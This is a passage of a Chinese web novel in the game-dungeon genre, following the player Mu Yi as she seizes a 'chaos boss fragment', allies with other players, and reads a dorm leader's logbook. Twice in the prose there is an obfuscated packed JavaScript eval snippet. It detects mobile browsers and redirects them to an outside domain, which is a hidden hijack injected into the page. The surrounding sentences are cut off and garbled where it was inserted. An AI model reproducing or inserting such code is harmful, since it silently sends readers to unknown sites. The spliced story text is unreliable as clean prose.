在武凌显的尸体上方，散越儿浑身黑气逸散，左眼红得简直要滴血。 “武凌显！”牧懿惊呼一声，亲眼看见武凌显的尸体处只剩下几片破损的衣物。 【“黑色假发”效果已结束】 散越儿：“你那块‘灼热之石’是哪来的？领主不会把力量交给你这种低级人类，你到底是什么身份？” “灼热之石”？领主？ 难道说散越儿口中的“灼热之石”就是混沌boss碎片？ 牧懿靠在墙边，警惕地看向狂暴中的散越儿。 她并没有实体，似乎只是一个虚影，但之前被牧懿用混沌boss碎片烫穿的左眼已经恢复正常了，她看起来与白天无异。 牧懿分不太清，但现在“眼见为真”只剩一次机会了。 早知道糊弄大婶的时候不该用掉的…… 牧懿只好趁机套话：“我来此处当然是领主的旨意，你难道要背叛领主吗？” 牧懿一字一顿地反问她，紫色的瞳孔中露出一抹狠厉之色。 “不可能，绝不可能！”散越儿已经失去了理智，她手里凝聚起一团黑气，迅速袭向牧懿所在的位置。 牧懿没有躲避，她赤手空拳接住了散越儿的手，散越儿手上的热流一下子传递给了牧懿。 眼前的散越儿果然是附生在混沌boss碎片身上的残念！ 牧懿从兜里掏出一块平平无奇的骨头，对准散越儿的左眼狠狠砸了过去。 【已使用“眼见为真”】 一片刺眼的光立刻充斥着牧懿的视线，那是混沌boss碎片散发的光热，而来源——竟然是散越儿被刘海遮盖的右眼！ 她猛地拨开散越儿厚重的黑色刘海，毫不犹豫扣下了她的“右眼”。 【已获得第二块“混沌boss碎片”。】 散越儿以为牧懿手里的“骨头”是“灼热之石”，身体发自本能的恐惧后退，却被牧懿残暴地扣下右眼。 “啊！” 散越儿的尖叫声刺痛牧懿的耳膜，牧懿忍不住捂住耳朵，顺势把“眼珠”藏进袖口里。 面前的散越儿在尖叫中消散了，徒留牧懿的手心剩下一块被烫伤的痕迹。 自牧懿第一次看见散越儿时，就注意到她那只被厚重刘海紧紧遮住的右眼。 刚才她便觉得散越儿的左眼恢复得太快了，很不正常，于是便使用了“眼见为真”做最后一博。 没想到牧懿竟然真的感受到了混沌boss碎片的力量，那股灼热之力果然如其名字所言，就算再厚重的刘海也难以遮盖其光芒。 但眼前的散越儿只是一缕魂识，她的身体尚未找到，牧懿打算回375宿舍再检查一下。 “轰！” 身后传来一阵噼里啪啦的玻璃瓶罐破碎的声音，牧懿猛地回头。 却只见虞雾泱的身体轻盈地跃出房门，旁边尽是货架倒塌和酒瓶破碎的痕迹。 她拍了拍手，无奈地耸耸肩：“这些酒可惜了。” 11. 旋转永不停歇11 后勤通道上充斥着劣质酒精和硝烟的味道。 地上残余的火苗已经在打斗中熄灭了，牧懿和虞雾泱站在380号商品窗口侧门旁边，四目相对。 一阵刺耳的警报声突然从头顶响起，天花板上的报警器发出闪烁的红光。 是监管部的警卫人员要来了！ 牧懿猛地看向附近杂乱的场景，这些异类的残余衣物如果被监管部的人发现，自己定然会被带去调查。 她转身就想逃，却被身后的粉发女子拍了下肩膀。 “过来帮我一下！”虞雾泱用眼神示意牧懿进入商铺里面。 虞雾泱熟练地从桌子里掏出一沓厚厚的小票，抽出几张塞给牧懿。 牧懿低头看了一眼上面的各种酒类名称，时间是今天晚上六点半，落款居然是伊淮的名字！ 牧懿心中诧异，伊淮从未提过她要买酒的事…… “嘭嘭嘭——” 粗暴的敲门声打断了牧懿的思考。 只见虞雾泱飞快地跑去开门，一个身材魁梧、头戴头盔、腰间别枪的高大女人出现在门口。 “我是03区夜间警卫队队长钟千韧，接到警报信息，请二位配合调查！” 钟千韧的声音严肃低沉，眉眼凌厉，她身后跟着两位同样穿着黑色制服的警卫员。 虞雾泱拿出早已备好的发票，递给钟千韧。 “不好意思长官，这位客人来拿酒，我们搬的时候一个不小心就把酒架撞倒了。紧接着门外就出现了好几个怪物，我们俩势单力薄不敢出去，只好报警请长官您来处理。” 虞雾泱声色并茂地说起来，语气中还十分娴熟地带有一股无辜的味道。 牧懿站在一旁看着她表演，配合地把自己手上的购买证明同样交给钟千韧。 钟千韧当着另两位警卫员的面核对了一下，吩咐他们把附近的异类残余物收拾干净。 “是！” 那两位警卫员没有丝毫迟疑，立刻就转身去做了。 钟千韧倚在门边盯着他们两人片刻，确保附近没有其他人后，警惕地关上了门。 钟千韧：“雾泱，今晚到底发生了什么？还有，这位是？” 虞雾泱：“她叫莫云，新来的玩家，目前被分到375宿舍。” 听虞雾泱这么说，牧懿便立刻明白了钟千韧也是玩家。 两人彼此点头示意。 虞雾泱简单地解释了一下刚才发生的异变。 “自从新的工作时间表发下来之后，威浦集团职工的异化情况就越来越严重了。我观察375宿舍这些人好几天了，她们的异化程度是附近这些职工中最高的。想必莫云也注意到了。” 牧懿点点头。 虞雾泱：“但其中有一人尤其奇怪。那就是散越儿，她是异能者，但我隐约感应到她身上的异能不纯粹，好像沾染了异类的气息。我一直试图与她交流却没成功，直到今晚上我发现散越儿并没有去看演出，就躲在这里打算盯梢。这才碰见了莫云。” 之后的事便如牧懿所见，当牧懿被武凌显追杀的时候，虞雾泱提前撒了一地的酒，放火重伤了武凌显。 但牧懿还是有疑问：“可武凌显很明显是中级异类，普通的火根本奈何不了她。” 钟千韧笑道：“你说的是‘火珠’吧？那是游戏卡池里的A级装备，可以侵蚀异类的身体。毕竟雾泱是我们这里有名的欧皇，什么A级卡都是洒洒水而已。” 钟千韧说到这时，原本还有些紧绷的神情舒缓了一些，带着些僵硬的笑意。 虞雾泱从口袋里掏出一颗“火珠”，豪爽地递给牧懿：“你解决了375那么多怪物，这个就当见面礼吧！” 牧懿大大方方地收下了。 虞雾泱：“对了千韧，你在副本里已经待够了一周，按理说已经完成了基础任务一，可以得到副本基础奖励了，还不打算出副本吗？” 钟千韧摇摇头，她的眼神黯淡了几分：“人没找到我是不会走的，这里的一切太怪了，每次找到一点线索，就会立刻断掉……” 两个人又交流了一些副本内的信息，牧懿脑海里对这个副本有了新的认知。 【副本名称：旋转永不停歇 难度等级：S 神属：运变之神 基础任务：在副本内成功存活一周，完成后即可退出副本，领取基础奖励 基础奖励：一份A级大礼包（属性：运变之神）、一份S级生存大礼包（属性：无神属）、1000积分 进阶任务：***（不同玩家之间存在差异） 进阶奖励：***】 【解锁奖励：100积分（余额：900）】 牧懿想起散越儿提到的“灼热之石”，立刻想到那个木盒，她急忙追问虞雾泱： “你有看到散越儿在清洁间里做了什么吗？” 虞雾泱摇摇头：“我当时只闻到一股奇怪的糖浆味，还没来得及细看就发现她跑出去追你了，等我再去清洁间搜查的时候，只发现了一个空盒子。” “用筷子拼装成的木盒？”牧懿敏锐地发问。 虞雾泱从身后的密柜里拿出木盒，放在几人中间。 “等等！这上面有残余的法阵气息！” 钟千韧的手掌浮空在木盒上方，悬停片刻，木盒顶冒出一股暗红色的光，被钟千韧收进手掌内。 钟千韧：“这上面残余的能量极其不稳定，但威力极强，散越儿身上的那股力量应该就来源于此。” 牧懿听见她这番话时，袖口内侧的口袋里忽然变得滚烫，那颗“灼热之石”像是在呼应钟千韧的话。 牧懿面色不改，忍住那股灼烧感，竭力压抑住“灼热之石”的力量。 她此刻并不清楚虞雾泱和钟千韧是否知晓混沌boss碎片的事，牧懿还没有把这个碎片净化掉，万一不小心感染了她们两位，恐怕就麻烦了。 从钟千韧刚才的行为来看，她应该是“审判长”——“庄严”之神麾下的异能者，最擅长从环境中获取信息，是个探索类异能者。 好在这颗“灼热之石”只发烫了一下就偃旗息鼓了，并没有引起钟千韧的注意。 这时门外传来克制的敲门声，虞雾泱立刻把木盒收好藏起来。 钟千韧低声快速叮嘱虞雾泱：“今晚的事我就按照正常的异变处理，如果发现散越儿的踪迹立刻通知我，保持联络！” 钟千韧打开半扇门。 “队长，残余物已收集完毕，现场信息已记录完毕，周围无其他目击者。一共有三位异常职工死亡，同属于工厂部375小队。”警卫员中略胖的那位向钟千韧汇报情况。 警卫队内部同样有“术语使用规范”，他们不会使用“异类”之类的字眼，反而会用“异常职工”来代替。 钟千韧冷静的眼神撇了眼手下怀中的工作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586103|171758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 箱，转身面向虞雾泱和牧懿，口吻严峻： “此次事故发生在演出期间，除你们二位外并没有其他目击职工，不可将此事大肆宣扬，警卫队会随时找你们配合办案。” 随后钟千韧便带着两位警卫员离开了。 牧懿看了眼一地的酒瓶玻璃渣，先把地上的酒架扶起来：“今天晚上多谢你，我来帮你收拾吧。” 虞雾泱大手一挥：“不用不用，我可是‘吞噬者’，搞完破坏能随手清理何必麻烦别人。” 她白皙的手伸到后颈，拨开如瀑般的粉色长发，凭空掏出一片海绵样的东西，往空中一抛，地上那些脏乱的东西立刻被吸进海绵球内。 整个商品铺子里宛如经历了大扫除一般整洁。 她竟然是高级“吞噬者”！ 牧懿以前修习“异能学”时，特别研究过这类异能。 “吞噬者”是“死亡”之神麾下的异能者，此类异能属于外泄型，极其擅长破坏，所过之处往往一片废墟。 但是高级吞噬者进化后就可以收敛控制自己的异能，并拥有清洁能力，也算是为自己的所作所为负责吧。 虞雾泱：“对了，你看起来武艺不错，是异能者吗，还没怎么见你使用过异能？” “我刚成为安眠师。” “那很巧了，我们都是‘死亡’一脉的异能者诶！” 牧懿没有多说，紫色的瞳孔里划过一丝异样，话题一转：“今晚上伊淮为什么会买那么多酒？” 虞雾泱嘴唇半张，表情错愕，随后露出一副恍然大悟的样子： “噢你是说那些发票啊，我不过是为了让那些警卫队的人相信这只是一件因为搬酒导致的意外事故而已，千韧来一趟总不能空着手回去，不然没法向上司交代，你说是吧？” 牧懿半信半疑地点点头。 她告别虞雾泱之后，回到了375宿舍。 牧懿关上门，抵在门上，复盘今晚发生的一切。 昏暗的宿舍灯光洒在牧懿沉思的肩膀上，投下一片影子。 牧懿原本是因为散越儿没有去看表演才回来找她，却意外撞见散越儿吸收“灼热之石”，也就是混沌boss碎片里的力量。 后来两人打斗过程中，自己用第一颗混沌boss碎片重伤了狂暴散越儿，由此激发了异能成为“安眠师”。 但之后就被375宿舍的成员包围住，牧懿亲眼看见三人异化成为异类，她被逼出手，意外得到虞雾泱相救。 而后牧懿假扮成散越儿的模样引散越儿现身，趁机夺取她身上的混沌boss碎片，但散越儿却消失了。 而虞雾泱为了掩盖今天发生的异变，推倒酒架主动报警引同伴钟千韧出警，顺利把她们两人推得干干净净。 在这个过程中，牧懿伪装自己是玩家与她们交流，得到了关于这个副本的信息。 虞雾泱进入副本已经有一周了，她一直在观察附近的异类情况，好像在帮钟千韧找什么人，但是线索来到散越儿身上后又断了。 牧懿现在可以确定的是，混沌boss碎片可以强化散越儿的力量，而散越儿利用这股力量极大地加快了伊淮、刘岚和武凌显的异化速度。 恐怕虞雾泱和钟千韧要调查的就跟这股力量有关。 一切如同迷雾一般缠绕着牧懿。 “叮——” 一号位伊淮的桌洞里忽然响起一阵尖锐的手机铃声。 12. 旋转永不停歇12 伊淮的桌子上有一把小锁，牧懿用力一拽就开了，很明显不是用来防贼的，只是伊淮随手挂在上面而已。 寂静的宿舍里只有这一阵短促的尖锐铃声响起，随后声音就停下了。 牧懿翻开桌子里的杂物，在一个手机盒里找到了伊淮的手机。 手机看起来很新，外面只有一个透明手机壳。 屏幕亮起时，一张合照蓦然进入牧懿的视线内。 照片中间是中午吃饭用的餐桌，武凌显和刘岚并肩坐在前面，两个人扭头看向镜头，刘岚正在啃鸡腿，武凌显还在额头处比了个耶； 而餐桌另一边则是正襟危坐的伊淮，她眼神直直地盯着镜头，眼神凝重； 在伊淮左手边的是长发散越儿，这张照片被拍下时，散越儿旁边的床帘恰好被风掀起，遮住了散越儿的上半张脸，倒显得格格不入。 也不知是谁给她们拍的照片，牧懿盯着这张照片上的所有人看了许久。 牧懿试着用伊淮的名字输入密码，密码错误。 她顿了片刻，立刻输入“yihuai375”，成功了。 这是集团内部发放的手机，依旧只有四个软件：通讯、备忘录、娱乐、转盘。 牧懿挨个点开这四个软件，里面都空空如也，连账号都没有登陆，唯有备忘录不一样。 里面有一条几千字的笔记，名为“记录”，最后一次更新时间为3月20号下午六点四十，也就是今天。 这条笔记事无巨细地记录了375宿舍所有人的行动轨迹和言行举止，包括之前来这里思过的三位员工。 “305年3月17日，工作新时间表发布第二天，原医疗部职工章三来工厂部375小队‘思过’，早上上班迟到一小时，记大过一次，重点警告。” “305年3月17日，章红在与刘岚互抽第35下时倒下，鞭子掉落地上，被巡查傀儡发现，被罚关禁闭室一天，本次‘思过’未通过。 晚上睡前武凌显在洗手间自残，浑身抓痕，哭喊着要请假去看皮肤科，未允，被散越儿安抚后平静入睡。 半夜刘岚情绪崩溃，躲在床上发疯大笑，扰乱其他人睡觉，经队长警告后平静，第二天早上主动早起带饭。” “305年3月19日，工作新时间表发布第四天，原医疗部职工黎四来工厂部375小队‘思过’，上午中场休息时与刘岚发生争执。午休时因误拿刘岚衣物，被刘岚锁在卫生间，晕倒。本次‘思过’未通过。” “305年3月20日，工作新时间表发布第五天，原医疗部职工汪五来工厂部375小队‘思过’，工作态度认真，晚上留寝本宿舍，第二天昏睡不醒，刘岚主动帮助转交对应行政人员。” “305年3月20日，工作新时间表发布第六天，原医疗部职工莫云来工厂部375小队‘思过’，工作态度认真……” 记录到牧懿这一条时，后面突然断了。 伊淮为什么要事无巨细地记下来这些事情？从来没听说过队长有这种工作要求的。 而且现在是晚上七点五十，如果没有意外的话，伊淮还应该待在上面看演出。 难道说散越儿早就知道伊淮会在这个时间回来记录工作日志，所以才利用伊淮她们来对付自己？ 牧懿越想越觉得不对劲，她明明没有得罪过散越儿，对方如此处心积虑又是为了什么？ 难道只是因为自己打碎了镜子、惹散越儿生气了？ 牧懿把伊淮的这部备用机重新塞回手机盒里，又翻了翻抽屉，没有什么有用的东西。 其他人也一样。 这时系统突然提醒任务进度： 【解锁工厂部职工伊淮的相关信息： 伊淮在工厂部任职已满三年，其中担任375宿舍队长已有两年半。为人谨慎克制、行事低调、掌控欲强。】 【异化后特征：四眼巡视（已死亡）】 【解锁工厂部职工武凌显的相关信息： 武凌显刚来工厂部一年有余，因为长期高强度工作，精神状态不佳。 曾因违反工作纪律被关进禁闭室受罚，在禁闭室遇见散越儿，后一直将其视为精神救赎。】 【异化后特征：皮肤石化破裂（已死亡）】 【解锁工厂部职工刘岚的相关信息： 刘岚自两年前进入威浦集团后便一直在工厂部就职，为人兢兢业业、安分守己，但似乎对于集团内部各部门之间的不公平待遇耿耿于怀。 但她畏于监管部的高威和娱乐部的神秘，并不敢对这两个地上部门有所抱怨，只好将怒火投射于地面上的医疗部分区。 多次阻碍“思过”员工正常工作。】 【异化后特征：发动诡异物攻击（已死亡）】 【解锁奖励：500积分（余额：1400）】 由于这些人都已经不在了，牧懿没办法拿到今天的评价，“思过”第一天算失败。 【“莫云”扮演任务之“思过”第一天 进度：100% 未得到评价，无奖励】 现在是晚上七点五十五，距离表演结束还差五分钟。 牧懿迅速跑向卫生间，洗了把脸，推开375宿舍的门，冲向360商品窗口。 【已使用“化水为刃”】 牧懿用匕首朝自己的左手手心狠狠划去，豌豆大小的血珠滴落在柜台的缝隙里。 她在心中默念咒语，眼神紧紧盯着柜台上方出现的一小块白色云团，下一秒就被牧懿握在手心。 牧懿没有立刻查看白色云团里的东西，反而站在走廊中央念出通行咒语： “旋转是人类最美妙的舞姿，从上到下，由远及近，所念必至。” 短暂的眩晕过后，牧懿已经来到了地上。 远处舞台上的主持人正在说闭幕词，台下人群的音浪依旧汹涌澎湃，冲击着牧懿的耳膜。 牧懿站在威浦集团南区的一个花坛面前，捂住自己本就受伤的耳朵，小跑回到了位于医疗部大楼B区3楼的“莫云”宿舍。 医疗部大楼A区是门诊和住院区，B区是职工宿舍和休息区，这里与地下的工厂部宿舍不同，放眼望去全是单间。 只不过单间十分狭小，仅有一张床和一张钉在墙上的折叠桌而已，简直与棺材无异。 洗漱之类的还要去公共洗手间，相当麻烦。 牧懿累了一天，躺在床上闭目养神，忽然记起今天还有一个任务没有结算。 “系统，‘见证刘岚和武凌显的赌约’这一条为什么还不结算？” 系统：【检测中，请稍候……】 一阵乱七八糟的机械音响过后，系统才回答她： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586104|171758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 【“莫云”扮演任务之隐藏支线《见证刘岚和武凌显的赌约》 进度：50%】 【尚未完成无法结算，请宿主再接再励。】 “奇怪，那个女团“TwirlyGirls”不是已经登台演出了么，是武凌显选的海莉赢了，当时伊淮也在场啊！” 系统没有回应。 牧懿脑海里突然蹦出来刘岚当时那张毫无人气、空洞非常的脸，她喂刘岚喝了回复药剂后，刘岚才能勉强坐在那里。 看来就是这一点出了问题，刘岚不是清醒状态，没办法回应她与武凌显的赌约，所以进度值不够。 现在刘岚也已经死了，没办法，只能放弃这条支线任务了。 牧懿闭上眼，试图再次进入梦境空间里。 系统的提示音恰好响起：【梦境空间冷却结束，请宿主把握好停留时间。】 牧懿仿佛真的睡着了一般，飘在空中，静静地看着下面广阔无垠的大地。 这里是她白天和伊淮、武凌显她们工作的地方。 她控制自己的意识降落在地上，周围的一切向四周无限延展，越来越模糊。 牧懿还是坐在东边的那条长凳上，从袖口里掏出那颗尚在沉寂的“灼热之石”。 这是散越儿的眼球。 黑色的瞳孔在被掏出的瞬间瞪大，似乎还带着一股淡淡的温热之意。 牧懿的手指有些黏糊糊的，她用右手的食指和中指夹在眼球两端，举起放在自己面前，与它对视。 她好像又回到了第一次注视散越儿的那一刻，也是在这个位置，只不过当时仅能看见散越儿那只左眼。 散越儿的右眼与左眼不大一样。 因为长期被刘海遮挡，不能正常出现在阳光之下，也不能用来视物，这颗右眼眼球其实有些萎缩退化了。 红血丝长期在眼白根部蔓延，像是植物的根部一样支撑着整个眼睛，所有的延伸感、空间感和立体感都可从这些密布的红血丝中得到。 牧懿端视它良久，但对方没有任何反应。 没有冒出关于散越儿的信息，也没有自动飞到某个地方嵌在上面充当装饰物，好像它仅仅是个奇异的石头躺在沙滩里被赶海的人无意中发现带回家里。 牧懿只好把它再次收起来，藏在口袋深处以防吓到他人。 紧接着牧懿从另一个口袋里拿出那团白色的云团。 牧懿轻轻一吹，包裹住结晶体表面的云团就立刻消散了，露出里面猩红色的结晶体。 隐约散发着火彩般的光芒。 牧懿重生后的记忆并不完整，她此刻只能感受到结晶体里的异类标本信息，却丝毫记不起这些被收集起来的异类长什么样子、为什么会被牧懿抓住等等。 异类在死亡后，将异类的“诡异物”利用某种办法收集起来制成结晶，带回神异局后经相关部门再次释放，就可以得到这些异类生前的信息。 很明显牧懿收集到的异类足够多，已经足以证明威浦集团内部异类爆发的事实，神异局官方便可向威浦集团施压，采取措施改变这里的现状。 如果当初早早地带着这个东西离开了威浦集团，牧懿是不是就不会被困在崩坏副本里永受循环折磨？ 但她不愿美化自己没走过的那条路，只希望现在能一直走下去。 今夜或可安眠。 13. 旋转永不停歇13 现在是“思过”第二天早上六点十分。 牧懿早早地来到行政窗口排队了。 那个行动机械的工作人员麻利地给了她新的二维码，让她去找后勤部380商品窗口的负责人。 牧懿手里一边啃面包，一边慢悠悠地穿过排队买饭的人群，不急不缓地朝380窗口走去。 她竟然十分幸运地被分到了虞雾泱的窗口度过第二天。 路过375宿舍时，牧懿惊诧地看见好几个人正在往里搬东西。 “队长，以前住的人留下的杂物该怎么处理呢？”一个面容尚有些稚嫩的新人女孩抱着一箱旧衣物站在375宿舍门口。 “斜对面走后勤通道去清洁间，看看有没有能用的就留下来我们继续用，其他的扔了就行。”另一个被称为队长的短发女人安排道。 “好嘞！” …… “莫云！怎么这么巧，今天又遇见你了！”虞雾泱站在柜台里面，探出半个身子和牧懿打招呼。 牧懿朝她挥手致意，一边掏出自己的身份二维码，一边用下巴指向不远处那些正在搬进375宿舍的人：“这么快就有新人住进来了吗？” 虞雾泱笑道：“昨天晚上千韧就派人来贴条了，最近正好有一批新人来集团应聘，正好住下。” “那看来集团活力还挺足的。”牧懿随口回答。 虞雾泱扫完二维码就打开侧门让牧懿进入柜台里面。 “昨天你走的太急了，我还没来得及问你在副本里的扮演身份，一开始我还以为你就是伊淮那个375小队的新成员呢，没想到你居然是医疗部大楼的人。” 牧懿：“我前脚刚进副本，后脚就被带我的医生给罚了，连医疗部的宿舍都没见过，昨晚提前回去熟悉一下环境。” 虞雾泱：“没关系，近期有好多‘思过’的员工，什么部门的都有，你都熬过工厂部那100抽了，今天肯定没问题！” 昨天晚上发生的事太突然，牧懿没来得及仔细观察这些后勤部窗口，虞雾泱带着她稍微转了一小圈适应适应。 这里一共分为三种窗口——食品窗口、商品窗口和医疗窗口。 医疗窗口比较特殊，它是医疗部的地下分区，所有窗口编号的尾号为“1”时，就是专门卖药的医疗窗口。 食品和商品窗口则属于后勤部。 这二者并不互通，食品窗口只可卖食物，商品窗口除食物和药物外都可卖，但是酒这种特殊饮料只有商品窗口可以卖。 除却固定的几个行政窗口外，数字尾号为“3”、“6”、“9”和“0”是商品窗口，除此以外都是食物窗口。 早中晚饭时间是后勤部工作人员最忙的时候，但早起做饭、清理餐具也很费时间。 相对而言商品窗口就比较清闲，可是对应的工资也会少一点。 不过依旧有很多人挤破了头想来后勤部商品窗口工作，毕竟更轻松也更稳定。 虞雾泱一边给她介绍大致的物品摆放，一边吐槽： “自从‘思过’的人多了之后，有很多工厂部的人被分到商品窗口当天就故意捣乱，试图借‘思过’的空子留在商品窗口。可惜来我这里的大多是NPC，我把人留下来的话，要想跟其他玩家之间沟通就不太方便了。” 牧懿表示理解。 虞雾泱：“这批洗漱用品是客人昨天下的单，你先在这里整理一下……” 这时窗口外面来了一位客人，嗓音粗犷：“有人吗？来瓶好酒！” 虞雾泱正交给牧懿怎么分类打包，听见男人的话忽然一愣。 她立刻站起身来，看向柜台前的那个男人： “您好，集团规定早上不能卖酒，请您中午再来，这是规章制度表，就在第271条。如果您正处休假，请提供休假证明……” 那个男人却不耐烦地摆摆手：“不用看了，我今天休假可以买酒，你尽管拿来就好！” 虞雾泱收起脸上的微笑，表情严肃，声音低沉：“从侧门过来。” 牧懿敏锐地察觉到虞雾泱的不对劲，她支起耳朵听货架后面虞雾泱和那个男人的对话。 虞雾泱：“庆游，怎么回事？” 庆游压低声音：“钟队今天休假，她让我来替她买酒。她被带走之前只说了这一句话，其余我就不清楚了。” 虞雾泱：“那个上司莫利一直在给千韧施压，他肯定是借昨晚的事找千韧的毛病！” 庆游：“最近警卫队人员调动频繁，好几个熟悉的玩家要么退副本要么销声匿迹了，钟队自己一个人本来压力就很大，你如果能见到她一定替我劝劝她别轻举妄动！” 虞雾泱：“你才该沉得住气才对！事情我已经知道了，你先回去，今晚表演前千韧如果还没出来，就立刻通知我！” 庆游手里拿着一瓶红酒，从侧门装作悠悠哉哉的买家样子走了。 虞雾泱一脸凝重地坐在牧懿面前。 她跟钟千韧是很早之前就认识的伙伴，一起进过许多副本，两人之间有个独特的暗号。 如果一人出事，就会想办法把她们最近一次谈话的内容编成暗号告诉对方。 很明显，千韧不会莫名其妙让庆游来替她买酒。 而昨晚虞雾泱正是利用酒触发的警报！ 至于为什么限定条件为“最近一次的谈话内容”，那就跟副本里的时间有关了。 游戏里的时间会受到多方面的影响，例如力量强大的boss、规则怪谈的限制、可以存档读档的异能者等。 虞雾泱知道千韧一直受到那个叫莫利的上司刁难，总是被对方挑刺儿，这次被莫利叫走肯定不简单。 早知道昨晚的理由就该编得更合理一些，让莫利没刺可挑。 …… 牧懿出声打断了虞雾泱的胡思乱想：“我可以帮你们。” 虞雾泱从思索中回过神来：“啊？” 牧懿冷静地分析：“除却医疗部外，地上唯有娱乐部与监管部有一丝关联。我明天就要去娱乐部完成‘思过’任务，明天恰好是周一，娱乐部每周开部门大会的日子。” 虞雾泱：“你不是刚来第二天吗？” 牧懿镇静地解释：“我扮演的这位医生之前在医疗部大楼接触过很多不同部门的人，留下了很多信息。” 虞雾泱追问：“你打算怎么做？” 牧懿：“娱乐部开完会要经过警卫队之手把会议信息上交给监管部，我可以借这个机会采取行动。我也是玩家，没有必要骗你。” 虞雾泱低头沉思了一会儿牧懿说的话，从兜里掏出一张祈福卡：“你可以用这张卡随时联系我。” 随后她看了看柜台外走来走去买饭的职工，低声补充道：“我只需要确保千韧平安。” 牧懿点点头。 紧接着虞雾泱告诉了她更详细的信息。 牧懿得知钟千韧与莫利之间有许多不愉快，而刚才那个叫庆游的男人则是钟千韧手下一位警卫员，平时负责替钟千韧出面做一些她不能直接露面解决的事。 前台很少有人来买东西，两人之后就在后面整理货品，搬东西搬了快半上午了。 两个人坐在柜台前喝茶休息。 隔壁379窗口同样是商品窗口，负责人是一位性格开朗的大婶。 大婶热情地跟虞雾泱打招呼：“哎呦小虞你这几天这么幸运啊！一直都有人来帮忙，我这一把年纪了还得搬上搬下的。这位姑娘叫什么名字，看起来跟前几天那几个好吃懒做的都不一样。” 虞雾泱很自然地接过话介绍牧懿：“这位是医疗部的莫云。大婶您累了就喊我们来帮忙，大家都是邻居，别客气。” 大婶哈哈笑了几声，眼睛眯成一条缝。 她特喜欢小虞，平时有事没事就凑过来跟虞雾泱聊八卦。 “小虞今天活也不多，怎么不见你来串门？” 虞雾泱笑道：“今天搬一上午东西懒得动了，下午我再去转转！” 其实是因为虞雾泱心里一直在担心钟千韧，根本没心情串门。 大婶换了个话题：“今儿早上356那个暴躁老头摔了你可知道？” 虞雾泱惊讶道：“那肯定摔得不轻吧！” 大婶神兮兮地说：“他不仅摔了，他还差点被人打！对面有个新来的姑娘不懂规矩，看老头打饭打的太少了就抱怨了两句，结果老头当场把饭泼人家小姑娘一身！” “嚯！” “然后那姑娘肯定不愿意，两个人就骂起来了，周围围了好多人，大家不满这暴躁老头子好久了，看他被打，”大婶忍不住捂嘴笑出了声，“都把他当笑话看！” 牧懿突然想起昨天中午刘岚买完饭抱怨的话，当时好像说的就是356的卖饭大爷！ 大婶还绘声绘色地讲着当时打架的场景，看起来兴奋极了。 “对了，小虞我听说昨天你跟后面那个清洁员吵架了？到底咋回事啊，你告诉大娘我给你评理去！她那么大人了真好意思欺负小姑娘？” 虞雾泱漂亮的脸蛋上露出一抹疑惑，但随即摆手否认：“没有没有，都是误会，我又不怎么用清洁间，怎么会跟她吵架？大婶你可千万别去找她，她自己一个人操心那么多机器也不容易。” …… 有人来找大婶买东西，大婶这才恋恋不舍地结束了八卦话题。 牧懿趁机问虞雾泱：“之前听你说这附近的异类浓度不低，跟散越儿有关系吗？” 虞雾泱把一头粉色长发撩到脖子后面，一边编辫子一边说：“我来这里第一天就在清洁间里发现了一个失控的异类，处理完后在他身上发现了一根黑色长发。” 牧懿立刻想起散越儿利用头发攻击自己时的情景。 虞雾泱接着说：“然后顺着这根头发我查到了散越儿，发现她竟然是艺术家，我不能轻举妄动，只好喊来跟千韧一起试图与她交流。” “千韧来这里是为了找人的，她从散越儿身上发现了友人的气息，但根本无法凭这些信息确定友人的位置。” “我们正要出手时，意外发现警卫队的莫利也来到了这里。他跟散越儿交流了什么我们无从得知，但从那之后千韧就一直被莫利针 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由于380窗口临近清洁间，附近的卖饭大婶们推着餐具车一趟又一趟地往这边跑，说话声和放水声混合在一起，嘈杂极了。 牧懿午休被吵得睡不着，只好倚在后门边上，一边喝茶一边看这些精力充沛的大爷大婶们一边工作一边聊天。 就比如几米外聊得正凶的那两个。 一个戴红色眼镜的大婶说：“最近咱们这儿也不知道怎么了，到处都有人闹事。” 她身边那位卷发大婶立刻接话：“昨天我隔壁那个瘦猴男被371的母夜叉打的满地找牙，浑身都是血！” “他也真够莽的，敢惹那娘们……今早上我听说381的卖饭秃子一头栽进了饭盆里，还逼着排队买饭的人当着他面吃下去！你今天中午看见没，一个来买他饭的人都没有！” “咦——恶心死人不带偿命的。还有上回那个在清洁间打人的，听说被罚关禁闭了！” …… 卷发大婶：“我看都是一群疯子没事找事！昨天清洁间的那个张燃还跟小虞吵架了呢。” “什么！她敢欺负小虞？”红眼镜大婶高声大叫。 红眼镜大婶被愤怒冲昏了头脑，拐进清洁间厉声喝道：“张燃你给我出来，是不是你欺负小虞？敢做不敢当是吧？” 清洁间内充斥着洗碗机运转的声音，还有几个人站在出碗口一边聊天一边收拾餐具。 唯独不见清洁员张燃。 原本在清洁间等着洗碗的几个人看见红眼镜大妈这架势，立刻围上来等着看张燃的热闹。 “张燃不是才刚来后勤部没几天吗，听说她来之前被关禁闭室好几天呢！” “怪不得一脸疤，第一次见的时候吓我一大跳！” “就她这样还不老实呢，听说昨天还跟小虞吵起来了，小虞脾气那么好怎么可能跟她吵架？” 看热闹的围观群众七嘴八舌地瞎说起来。 红眼镜大婶气势汹汹地在清洁间内转了一圈，没找到人，于是走到里间，正要推开门看张燃是不是躲在里面。 里间的门轰的一声被红眼镜大婶给踹开了。 